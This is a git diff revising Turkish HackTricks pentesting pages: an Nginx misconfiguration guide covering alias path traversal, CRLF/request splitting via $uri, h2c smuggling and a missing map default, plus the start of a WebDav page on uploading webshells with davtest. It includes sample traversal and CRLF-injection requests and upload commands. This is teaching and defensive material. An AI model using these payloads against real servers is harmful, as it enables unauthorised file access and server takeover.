tanımlanmıştır. Kök konumu (`location / {...}`) için herhangi bir yapılandırma bulunmamaktadır. Bu eksiklik, kök yönergesinin genel olarak uygulanmasını sağlar ve `/` kök yolu altındaki dosyalara erişim sağlar. +Bu yapılandırmada, `/etc/nginx` kök dizini olarak belirlenmiştir. Bu kurulum, `/hello.txt` gibi belirtilen kök dizini içindeki dosyalara erişime izin verir. Ancak, yalnızca belirli bir konum (`/hello.txt`) tanımlanmıştır. Kök konumu (`location / {...}`) için herhangi bir yapılandırma bulunmamaktadır. Bu ihmal, kök yönergesinin genel olarak uygulanmasını sağlar ve `/etc/nginx` altındaki dosyalara erişim sağlar. -Bu yapılandırmadan kaynaklanan önemli bir güvenlik düşüncesi ortaya çıkar. `/nginx.conf` gibi basit bir `GET` isteği, `/etc/nginx/nginx.conf` konumunda bulunan Nginx yapılandırma dosyasını sunarak hassas bilgilerin ortaya çıkmasına neden olabilir. Kökü daha az hassas bir dizine, örneğin `/etc` olarak ayarlamak, bu riski azaltabilir, ancak diğer yapılandırma dosyaları, erişim günlükleri ve hatta HTTP temel kimlik doğrulaması için kullanılan şifrelenmiş kimlik bilgilerine istenmeyen erişime izin verebilir. +Bu yapılandırmadan kaynaklanan önemli bir güvenlik endişesi ortaya çıkar. Basit bir `GET` isteği, örneğin `GET /nginx.conf`, `/etc/nginx/nginx.conf` konumundaki Nginx yapılandırma dosyasını sunarak hassas bilgilerin ifşa edilmesine neden olabilir. Kökü daha az hassas bir dizine, örneğin `/etc` olarak ayarlamak, bu riski azaltabilir, ancak yine de diğer hassas dosyalara, diğer yapılandırma dosyalarına, erişim günlüklerine ve hatta HTTP temel kimlik doğrulaması için kullanılan şifrelenmiş kimlik bilgilerine istenmeyen erişime izin verebilir. ## Alias LFI Yanlış Yapılandırması -Nginx'in yapılandırma dosyalarında, "location" yönergeleri için dikkatli bir inceleme gerekmektedir. Yanlışlıkla Local File Inclusion (LFI) olarak bilinen bir güvenlik açığı, aşağıdakine benzeyen bir yapılandırma ile yanlışlıkla tanıtılabilir: +Nginx'in yapılandırma dosyalarında, "location" yönergeleri için dikkatli bir inceleme gereklidir. Local File Inclusion (LFI) olarak bilinen bir zayıflık, aşağıdakine benzer bir yapılandırma aracılığıyla yanlışlıkla tanıtılabilir: ``` location /imgs { alias /path/images/; } ``` -Bu yapılandırma, sunucunun `/imgs../flag.txt` gibi istekleri, amaçlanan dizinin dışındaki dosyalara erişim girişimi olarak yorumlaması nedeniyle LFI saldırılarına karşı savunmasızdır. Bu, `/path/images/../flag.txt` olarak çözümlenerek, saldırganların web üzerinden erişilememesi gereken dosyaları sunucunun dosya sisteminde almasına olanak tanır. +Bu yapılandırma, sunucunun `/imgs../flag.txt` gibi istekleri yorumlayarak, dosyaların amaçlanan dizinin dışındaki dosyalara erişme girişimi olarak algılanmasına neden olabilecek LFI saldırılarına duyarlıdır, etkili bir şekilde `/path/images/../flag.txt`'ye çözülür. Bu zayıflık, saldırganların sunucunun dosya sisteminden web aracılığıyla erişilememesi gereken dosyaları almasına olanak tanır. -Bu zafiyeti azaltmak için yapılandırma şu şekilde ayarlanmalıdır: +Bu zafiyeti hafifletmek için yapılandırma şu şekilde ayarlanmalıdır: ``` location /imgs/ { alias /path/images/; @@ -67,7 +67,7 @@ alias../ => HTTP status code 403 ``` ## Güvensiz yol kısıtlaması -Direktifleri atlamak için aşağıdaki sayfayı kontrol edin: +Aşağıdaki sayfayı kontrol edin: ```plaintext location = /admin { deny all; @@ -77,15 +77,27 @@ location = /admin/ { deny all; } ``` -## Güvensiz değişken kullanımı +## Güvensiz değişken kullanımı / HTTP İsteği Bölme -Nginx yapılandırmasındaki bir zafiyet aşağıdaki örnekle gösterilmektedir: +{% hint style="danger" %} +`$uri` ve `$document_uri` gibi güvenlik açıklı değişkenler bulunmaktadır ve bunlar `$request_uri` ile değiştirilerek düzeltilebilir. + +Ayrıca regex de şu şekilde güvenlik açıklarına neden olabilir: + +`location ~ /docs/([^/])? { … $1 … }` - Güvenlik açığı bulunmaktadır + +`location ~ /docs/([^/\s])? { … $1 … }` - Güvenlik açığı bulunmamaktadır (boşlukları kontrol eder) + +`location ~ /docs/(.*)? { … $1 … }` - Güvenlik açığı bulunmamaktadır +{% endhint %} + +Nginx yapılandırmasındaki bir güvenlik açığı aşağıdaki örnekle gösterilmektedir: ``` location / { return 302 https://example.com$uri; } ``` -Karakterler \r (Taşıma İadesi) ve \n (Satır Beslemesi), HTTP isteklerinde yeni satır karakterlerini temsil eder ve URL kodlu formları `%0d%0a` olarak gösterilir. Bu karakterleri bir istekte (örneğin, `http://localhost/%0d%0aDetectify:%20clrf`) hatalı yapılandırılmış bir sunucuya dahil etmek, sunucunun `Detectify` adında yeni bir başlık çıkarmasına neden olur. Bu, $uri değişkeninin URL kodlu yeni satır karakterlerini çözmesi sonucunda beklenmeyen bir başlık oluşur. +HTTP isteklerinde \r (Taşıma İşareti) ve \n (Satır Beslemesi) karakterleri yeni satır karakterlerini belirtir ve URL kodlanmış formları `%0d%0a` olarak temsil edilir. Bu karakterleri bir istekte (örneğin, `http://localhost/%0d%0aDetectify:%20clrf`) içerdiğinde, yanlış yapılandırılmış bir sunucuya yeni bir başlık olan `Detectify` çıkarılmasına neden olur. Bu durum, $uri değişkeninin URL kodlanmış yeni satır karakterlerini çözmesi sonucunda yanıtta beklenmeyen bir başlık oluşmasına sebep olur: ``` HTTP/1.1 302 Moved Temporarily Server: nginx/1.19.3 @@ -95,30 +107,61 @@ Connection: keep-alive Location: https://example.com/ Detectify: clrf ``` -CRLF enjeksiyonu ve yanıt bölünmesi riskleri hakkında daha fazla bilgi için [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/) adresini ziyaret edin. +Risks of CRLF injection and response splitting at [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/)'da daha fazla bilgi edinin. +Bu teknik ayrıca [**bu sunumda**](https://www.youtube.com/watch?v=gWQyWdZbdoY\&list=PL0xCSYnG\_iTtJe2V6PQqamBF73n7-f1Nr\&index=77) bazı zayıf örnekler ve tespit mekanizmaları ile açıklanmıştır. Örneğin, Bu yanlış yapılandırmayı siyah kutu bakış açısından tespit etmek için şu istekleri yapabilirsiniz: + +* `https://example.com/%20X` - Herhangi bir HTTP kodu +* `https://example.com/%20H` - 400 Bad Request + +Eğer zayıfsa, ilk istek "X" herhangi bir HTTP yöntemi olduğu için geri dönecek ve ikincisi H geçerli bir yöntem olmadığı için hata dönecektir. Bu nedenle sunucu şuna benzer bir şey alacak: `GET / H HTTP/1.1` ve bu hata tetikleyecektir. + +Başka tespit örnekleri şunlar olabilir: + +* `http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x` - Herhangi bir HTTP kodu +* `http://company.tld/%20HTTP/1.1%0D%0AHost:%20x` - 400 Bad Request + +O sunumda bulunan bazı zayıf yapılandırmalar şunlardı: + +* **`$uri`**'nin nihai URL'de olduğu gibi ayarlandığına dikkat edin. +``` +location ^~ /lite/api/ { +proxy_pass http://lite-backend$uri$is_args$args; +} +``` +* Yine **`$uri`** URL'de (bu sefer bir parametrenin içinde) bulunmaktadır. +``` +location ~ ^/dna/payment { +rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break; +proxy_pass http://$back; +``` +* Şimdi AWS S3'te +``` +location /s3/ { +proxy_pass https://company-bucket.s3.amazonaws.com$uri; +} +``` ### Herhangi bir değişken -Belirli durumlarda, **kullanıcı tarafından sağlanan verilerin** Nginx değişkeni olarak işlenebileceği keşfedildi. Bu davranışın nedeni biraz belirsiz olsa da, nadir değildir ve doğrulaması kolay değildir. Bu anormallik, HackerOne'da yayınlanan bir güvenlik raporunda vurgulanmıştır ve [buradan](https://hackerone.com/reports/370094) görülebilir. Hata mesajının daha fazla incelenmesi, Nginx'in kod tabanındaki [SSI filtre modülünde](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365) bu hatanın meydana geldiğinin tespit edilmesine yol açmıştır ve Server Side Includes (SSI) bunun temel nedeni olarak belirlenmiştir. +Belirli koşullar altında, **kullanıcı tarafından sağlanan verilerin** belirli durumlarda bir **Nginx değişkeni** olarak işleme tabi tutulabileceği keşfedildi. Bu davranışın nedeni oldukça belirsiz olsa da, nadir değil ve doğrulaması da kolay değil. Bu anormallik, HackerOne'da bir güvenlik raporunda vurgulandı ve [buradan](https://hackerone.com/reports/370094) görülebilir. Hata mesajına yönelik daha fazla inceleme, bu durumun [Nginx'in kod tabanındaki SSI filtre modülünde](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx\_http\_ssi\_filter\_module.c#L365) meydana geldiğinin tespit edilmesine yol açtı, Server Side Includes (SSI) kök neden olarak belirlendi. -Bu yanlış yapılandırmayı **tespit etmek** için aşağıdaki komut çalıştırılabilir, bu komut değişken yazdırma testi için bir referer başlığı ayarlamayı içerir: +Bu yan yapılandırmayı **tespit etmek** için, aşağıdaki komut çalıştırılabilir, bu komut değişken yazdırma testi için bir referer başlığı ayarlamayı içerir: ```bash $ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’ ``` -Sistemler üzerinde yapılan taramalar, kullanıcı tarafından Nginx değişkenlerinin yazdırılabileceği birden fazla durumu ortaya çıkardı. Ancak, savunmasız durumların sayısında yaşanan azalma, bu sorunu düzeltme çabalarının kısmen başarılı olduğunu göstermektedir. +Sistemler üzerinde yapılan bu yan yapılandırma taramaları, bir kullanıcı tarafından Nginx değişkenlerinin yazdırılabileceği birden fazla örneği ortaya çıkardı. Ancak, savunmasız örneklerin sayısında yaşanan azalma, bu sorunu düzeltme çabalarının bir dereceye kadar başarılı olduğunu göstermektedir. -## Ham arka uç yanıtı okuma +## Ham arka uç yanıt okuma +Nginx, `proxy_pass` aracılığıyla bir özelliği sunar ve bu özellik, arka uç tarafından üretilen hataları ve HTTP başlıklarını yakalamayı amaçlar ve iç hata mesajlarını ve başlıklarını gizlemeyi hedefler. Bu, Nginx'in, arka uç hatalarına yanıt olarak özel hata sayfaları sunarak başarılı bir şekilde gerçekleştirilir. Ancak, Nginx'in geçersiz bir HTTP isteğiyle karşılaştığında zorluklar ortaya çıkar. Böyle bir istek, alındığı gibi arka uca iletilir ve ardından arka uçun ham yanıtı doğrudan Nginx'in müdahalesi olmadan istemciye gönderilir. -Nginx, `proxy_pass` aracılığıyla sunulan bir özellik sunar. Bu özellik, arka uç tarafından üretilen hataları ve HTTP başlıklarını yakalamayı amaçlar ve dahili hata mesajlarını ve başlıklarını gizlemeyi hedefler. Bunun için Nginx, arka uç hatalarına yanıt olarak özel hata sayfaları sunar. Ancak, Nginx geçersiz bir HTTP isteğiyle karşılaştığında zorluklar ortaya çıkar. Bu tür bir istek, alındığı gibi arka uca iletilir ve arka uçun ham yanıtı doğrudan Nginx'in müdahalesi olmadan istemciye gönderilir. - -Bir uWSGI uygulamasını içeren bir örnek senaryoyu düşünelim: +Bir uWSGI uygulamasını içeren bir örnek senaryoyu düşünün: ```python def application(environ, start_response): start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')]) return [b"Secret info, should not be visible!"] ``` -Bu işlemi yönetmek için, Nginx yapılandırmasında belirli yönergeler kullanılır: +Nginx yapılandırmasında belirli direktifler kullanılarak bunu yönetmek mümkündür: ``` http { error_page 500 /html/error.html; @@ -126,23 +169,22 @@ proxy_intercept_errors on; proxy_hide_header Secret-Header; } ``` -- **[proxy_intercept_errors](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_intercept_errors)**: Bu yönerge, Nginx'in, durum kodu 300'den büyük olan arka uç yanıtları için özel bir yanıt sunmasını sağlar. Örneğimizdeki uWSGI uygulaması için, `500 Hata` yanıtının Nginx tarafından yakalanıp işlenmesini sağlar. -- **[proxy_hide_header](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_hide_header)**: Adından da anlaşılacağı gibi, bu yönerge belirtilen HTTP başlıklarını istemciden gizler, gizlilik ve güvenliği artırır. - -Geçerli bir `GET` isteği yapıldığında, Nginx bunu normal şekilde işler ve gizli başlıkları ifşa etmeden standart bir hata yanıtı döndürür. Ancak geçersiz bir HTTP isteği, bu mekanizmayı atlayarak, gizli başlıkları ve hata mesajlarını da içeren ham arka uç yanıtlarının ortaya çıkmasına neden olur. +* [**proxy\_intercept\_errors**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors): Bu yönerge, Nginx'in durum kodu 300'den büyük olan arka uç yanıtları için özel bir yanıt sunmasını sağlar. Örneğin uWSGI uygulamamız için, `500 Hata` yanıtının Nginx tarafından engellenip işlenmesini sağlar. +* [**proxy\_hide\_header**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_hide\_header): Adından da anlaşılacağı gibi, bu yönerge belirli HTTP başlıklarını istemciden gizler, gizliliği ve güvenliği artırır. +Geçerli bir `GET` isteği yapıldığında, Nginx bunu normal şekilde işler, hiçbir gizli başlığı ortaya çıkarmadan standart bir hata yanıtı döndürür. Ancak geçersiz bir HTTP isteği bu mekanizmayı atlar ve gizli başlıkları ve hata mesajlarını da içeren ham arka uç yanıtlarının ortaya çıkmasına neden olur. ## merge\_slashes off olarak ayarlandı -Varsayılan olarak, Nginx'in **`merge_slashes` yönergesi** **`on`** olarak ayarlanmıştır ve bir URL'deki birden fazla eğik çizgiyi tek bir eğik çizgiye sıkıştırır. Bu özellik, URL işleme sürecini kolaylaştırırken, özellikle Nginx'in arkadan proxy olarak kullanıldığı uygulamalarda yerel dosya dahil etme (LFI) saldırılarına karşı hassas olan uygulamalardaki güvenlik açıklarını yanlışlıkla gizleyebilir. Güvenlik uzmanları **Danny Robinson ve Rotem Bar**, özellikle Nginx'in ters proxy olarak kullanıldığı durumlarda, bu varsayılan davranışla ilişkili potansiyel riskleri vurgulamışlardır. +Varsayılan olarak, Nginx'in **`merge_slashes` yönergesi** **`on`** olarak ayarlanmıştır, bu da bir URL'deki birden fazla ileri eğik çizgiyi tek bir eğik çizgiye sıkıştırır. Bu özellik, URL işleme sürecini basitleştirirken, Nginx'in arkasındaki uygulamalardaki zafiyetleri yanlışlıkla gizleyebilir, özellikle yerel dosya dahil etme (LFI) saldırılarına duyarlı olanlar. Güvenlik uzmanları **Danny Robinson ve Rotem Bar**, özellikle Nginx'in ters proxy olarak hareket ettiğinde bu varsayılan davranışla ilişkilendirilen potansiyel riskleri vurgulamışlardır. -Bu tür riskleri azaltmak için, bu zafiyetlere duyarlı uygulamalar için **`merge_slashes` yönergesini kapatmanız** önerilir. Bu, Nginx'in istekleri URL yapısını değiştirmeden uygulamaya ilettiği ve altta yatan güvenlik sorunlarını gizlemediği anlamına gelir. +Bu tür riskleri azaltmak için, bu zafiyetlere duyarlı uygulamalar için **`merge_slashes` yönergesini kapatmanız** önerilir. Bu, Nginx'in URL yapısını değiştirmeden istekleri uygulamaya ilettiğinden, altta yatan güvenlik sorunlarını gizlemediğinden emin olur. -Daha fazla bilgi için [Danny Robinson ve Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d) adresini kontrol edin. +Daha fazla bilgi için [Danny Robinson ve Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d). ### **Map Yönergesindeki Varsayılan Değer** -**Nginx yapılandırmasında**, `map` yönergesi genellikle **yetkilendirme kontrolünde** rol oynar. Yaygın bir hata, bir **varsayılan** değer belirtmemektir, bu da yetkisiz erişime yol açabilir. Örneğin: +**Nginx yapılandırmasında**, `map` yönergesi genellikle **yetkilendirme kontrolünde** rol oynar. Yaygın bir hata, **varsayılan** bir değer belirtmemektir, bu da yetkisiz erişime yol açabilir. Örneğin: ```yaml http { map $uri $mappocallow { @@ -161,27 +203,27 @@ return 200 "Hello. It is private area: $mappocallow"; } } ``` -`default` olmadan, **kötü niyetli bir kullanıcı**, `/map-poc` içinde **tanımlanmamış bir URI'ye** erişerek güvenliği atlayabilir. [Nginx kılavuzu](https://nginx.org/en/docs/http/ngx_http_map_module.html), bu tür sorunları önlemek için bir **varsayılan değer** belirlemenizi önermektedir. +`default` olmadan, bir **kötü niyetli kullanıcı**, `/map-poc` içindeki **tanımsız URI'ye** erişerek güvenlik önlemlerini atlayabilir. [Nginx kılavuzu](https://nginx.org/en/docs/http/ngx_http_map_module.html), bu tür sorunları önlemek için bir **varsayılan değer** belirlemenizi önerir. -### **DNS Sahtecilik Zafiyeti** +### **DNS Sahteciliği Zafiyeti** -Belirli koşullar altında Nginx'e karşı DNS sahteciliği mümkündür. Bir saldırgan, Nginx'in kullandığı **DNS sunucusunu** biliyor ve DNS sorgularını onaylayabiliyorsa, DNS kayıtlarını sahtecilik yapabilir. Ancak bu yöntem, Nginx'in DNS çözümlemesi için **localhost (127.0.0.1)** kullanacak şekilde yapılandırıldığında etkisizdir. Nginx, bir DNS sunucusunu aşağıdaki gibi belirtmeye izin verir: +Belirli koşullar altında Nginx'e karşı DNS sahteciliği mümkündür. Bir saldırgan, Nginx'in kullandığı **DNS sunucusunu** bildiğinde ve DNS sorgularını onaylayabiliyorsa, DNS kayıtlarını sahtecilik yapabilir. Bununla birlikte, Nginx'in DNS çözümlemesi için **localhost (127.0.0.1)**'i kullanacak şekilde yapılandırıldıysa bu yöntem etkisiz olacaktır. Nginx, bir DNS sunucusunu aşağıdaki gibi belirtmeye izin verir: ```yaml resolver 8.8.8.8; ``` ### **`proxy_pass` ve `internal` Komutları** -**`proxy_pass`** komutu, istekleri başka sunuculara yönlendirmek için kullanılır, hem içeride hem de dışarıda. **`internal`** komutu ise belirli konumlara sadece Nginx içerisinden erişilebilmesini sağlar. Bu komutlar başlı başına birer güvenlik açığı değillerdir, ancak yapılandırmalarının dikkatli bir şekilde incelenmesi gerekmektedir. +**`proxy_pass`** komutu, istekleri başka sunuculara yönlendirmek için kullanılır, ya içsel ya da harici olarak. **`internal`** komutu ise belirli konumların sadece Nginx içinde erişilebilir olduğunu sağlar. Bu komutlar başlı başına güvenlik açıkları değillerdir, ancak yapılandırmaları güvenlik açıklarını önlemek için dikkatli bir şekilde incelenmelidir. ## proxy\_set\_header Upgrade & Connection -Eğer nginx sunucusu, Upgrade ve Connection başlıklarını geçmek için yapılandırılmışsa, [**h2c Smuggling saldırısı**](../../pentesting-web/h2c-smuggling.md) gerçekleştirilerek korumalı/içsel uç noktalara erişilebilir. +Eğer nginx sunucusu Upgrade ve Connection başlıklarını iletmek için yapılandırılmışsa, bir [**h2c Smuggling saldırısı**](../../pentesting-web/h2c-smuggling.md) gerçekleştirilebilir ve korumalı/içsel uç noktalara erişilebilir. {% hint style="danger" %} -Bu güvenlik açığı, bir saldırganın `proxy_pass` uç noktasıyla (`http://backend:9999` bu durumda) doğrudan bir bağlantı kurmasına izin verir ve nginx tarafından kontrol edilmeyecek içeriğe erişmesine olanak sağlar. +Bu güvenlik açığı, bir saldırganın **`proxy_pass` uç noktasıyla doğrudan bir bağlantı kurmasına** izin verecektir (`http://backend:9999` bu durumda). Bu içerik Nginx tarafından kontrol edilmeyecek. {% endhint %} -İşte [buradan](https://bishopfox.com/blog/h2c-smuggling-request) `/flag`'i çalmak için kullanılan bir zafiyetli yapılandırma örneği: +`/flag`'i çalmak için savunmasız yapılandırma örneği [burada](https://bishopfox.com/blog/h2c-smuggling-request): ``` server { listen 443 ssl; @@ -202,12 +244,12 @@ deny all; } ``` {% hint style="warning" %} -Dikkat edin, `proxy_pass` belirli bir **yol**a işaret ediyor olsa bile, örneğin `http://backend:9999/socket.io`, bağlantı `http://backend:9999` ile kurulur, bu yüzden **proxy\_pass URL'sinde bir yol belirtilmiş olsa bile** içerideki herhangi bir yol ile iletişim kurabilirsiniz. +`proxy_pass`'in belirli bir **yol**a işaret ettiği durumda bile, örneğin `http://backend:9999/socket.io`, bağlantı `http://backend:9999` ile kurulacaktır, bu nedenle **içsel uç noktadaki herhangi başka bir yola ulaşabilirsiniz. Bu nedenle, proxy_pass URL'sinde bir yol belirtilmiş olup olmadığı önemli değildir.** {% endhint %} -## Kendiniz deneyin +## Kendiniz Deneyin -Detectify, bu makalede tartışılan bazı yanlış yapılandırmalarla kendi zayıf Nginx test sunucusunu kurmanız ve bunları kendiniz bulmanız için Docker kullanarak bir GitHub deposu oluşturdu! +Detectify, bu makalede tartışılan bazı yanlış yapılandırmalarla kendi zayıf Nginx test sunucusunu kurmanızı ve bunları kendiniz bulmanızı deneyebileceğiniz bir GitHub deposu oluşturdu! [https://github.com/detectify/vulnerable-nginx](https://github.com/detectify/vulnerable-nginx) @@ -215,11 +257,11 @@ Detectify, bu makalede tartışılan bazı yanlış yapılandırmalarla kendi za ### [GIXY](https://github.com/yandex/gixy) -Gixy, Nginx yapılandırmasını analiz etmek için bir araçtır. Gixy'nin ana hedefi, güvenlik yanlı yapılandırmalarını önlemek ve hata tespitini otomatikleştirmektir. +Gixy, Nginx yapılandırmasını analiz etmek için bir araçtır. Gixy'nin ana amacı güvenlik yanlı yapılandırmalarını önlemek ve hata tespitini otomatikleştirmektir. ### [Nginxpwner](https://github.com/stark0de/nginxpwner) -Nginxpwner, yaygın Nginx yanlış yapılandırmalarını ve güvenlik açıklarını aramak için basit bir araçtır. +Nginxpwner, yaygın Nginx yanlı yapılandırmalarını ve güvenlik açıklarını aramak için basit bir araçtır. ## Referanslar @@ -227,22 +269,22 @@ Nginxpwner, yaygın Nginx yanlış yapılandırmalarını ve güvenlik açıklar * [**http://blog.zorinaq.com/nginx-resolver-vulns/**](http://blog.zorinaq.com/nginx-resolver-vulns/) * [**https://github.com/yandex/gixy/issues/115**](https://github.com/yandex/gixy/issues/115) -
+
-**Anında kullanılabilir zayıflık değerlendirme ve penetrasyon testi kurulumu**. Keşiften raporlamaya kadar olan 20'den fazla araç ve özellikle herhangi bir yerden tam bir pentest çalıştırın. Pentester'ları değiştirmiyoruz - onlara daha derine kazma, kabukları patlatma ve eğlenme için zaman kazandırmak için özel araçlar, tespit ve istismar modülleri geliştiriyoruz. +**Anında kullanılabilir zayıflık değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - onlara daha derinlemesine kazmak, kabuklar açmak ve eğlenmek için biraz zaman kazandırmak için özel araçlar, tespit ve istismar modülleri geliştiriyoruz. {% embed url="https://pentest-tools.com/" %}
-AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Red Team Expert)'ı öğrenin! +Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'i desteklemenin diğer yolları: -* Şirketinizi HackTricks'te **reklam vermek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u takip edin. -* Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek **hacking hilelerinizi paylaşın**. +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) +* [**The PEASS Family'yi keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin +* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
diff --git a/network-services-pentesting/pentesting-web/put-method-webdav.md b/network-services-pentesting/pentesting-web/put-method-webdav.md index c233f21e4..53300eb95 100644 --- a/network-services-pentesting/pentesting-web/put-method-webdav.md +++ b/network-services-pentesting/pentesting-web/put-method-webdav.md @@ -1,107 +1,77 @@ # WebDav -
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturabilir ve otomatikleştirebilirsiniz.\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin! +Sıfırdan kahramana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: -* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. -* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın. +* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-**WebDav özelliğine sahip bir HTTP Sunucusu** ile uğraşırken, genellikle **HTTP Temel Kimlik Doğrulama** aracılığıyla doğrulanan **geçerli kimlik bilgilerine** sahipseniz, dosyaları **manipüle etmek** mümkündür. Böyle bir sununun kontrolünü ele geçirmek genellikle bir web kabuğunun **yüklenmesi ve yürütülmesini** içerir. +**WebDav** özellikli bir **HTTP Sunucusu** ile uğraşırken, genellikle **HTTP Basic Authentication** aracılığıyla doğrulanan **doğru kimlik bilgilerine** sahipseniz, dosyaları **manipüle etmek mümkündür**. Bu tür bir sunucu üzerinde kontrol sağlamak genellikle bir **webshell yükleyip çalıştırmayı** içerir. -WebDav sunucusuna erişim genellikle [**WebDav brute force**](../../generic-methodologies-and-resources/brute-force.md#http-basic-auth) ile elde edilen geçerli kimlik bilgilerini gerektirir. +WebDav sunucusuna erişim genellikle **geçerli kimlik bilgileri** gerektirir, bunları elde etmek için [**WebDav brute force**](../../generic-methodologies-and-resources/brute-force.md#http-basic-auth) yaygın bir yöntemdir. -Dosya yüklemelerinde, özellikle sunucu tarafı betiklerin yürütülmesini engelleyen kısıtlamaları aşmak için şunları yapabilirsiniz: +Sunucu tarafı betiklerin çalışmasını engelleyen dosya yükleme kısıtlamalarını aşmak için şunları yapabilirsiniz: -- **Yürütülebilir uzantılara** sahip dosyaları doğrudan yükleyin, eğer kısıtlanmamışsa. -- Yüklenen yürütülemez dosyaları (örneğin .txt) yürütülebilir bir uzantıya **yeniden adlandırın**. -- Yüklenen yürütülemez dosyaları, uzantılarını yürütülebilir olan bir uzantıyla **kopyalayın**. +* Eğer kısıtlanmamışsa, **yürütülebilir uzantılara sahip** dosyaları doğrudan **yükleyin**. +* Yüklenen yürütülemez dosyaları (örneğin .txt) yürütülebilir bir uzantıya **yeniden adlandırın**. +* Yüklenen yürütülemez dosyaları, uzantılarını yürütülebilir olan bir uzantıya değiştirerek **kopyalayın**. ## DavTest -**Davtest**, **farklı uzantılara sahip birkaç dosyayı yüklemeyi dener** ve uzantının **yürütülüp yürütülmediğini kontrol eder**: +**Davtest**, **farklı uzantılara sahip birkaç dosyayı yüklemeyi dener** ve uzantının **çalıştırılıp çalışılmadığını kontrol eder**: ```bash davtest [-auth user:password] -move -sendbd auto -url http:// #Uplaod .txt files and try to move it to other extensions davtest [-auth user:password] -sendbd auto -url http:// #Try to upload every extension ``` -Örnek çıktı: - -![](<../../.gitbook/assets/image (19) (1).png>) - -Bu, **.txt** 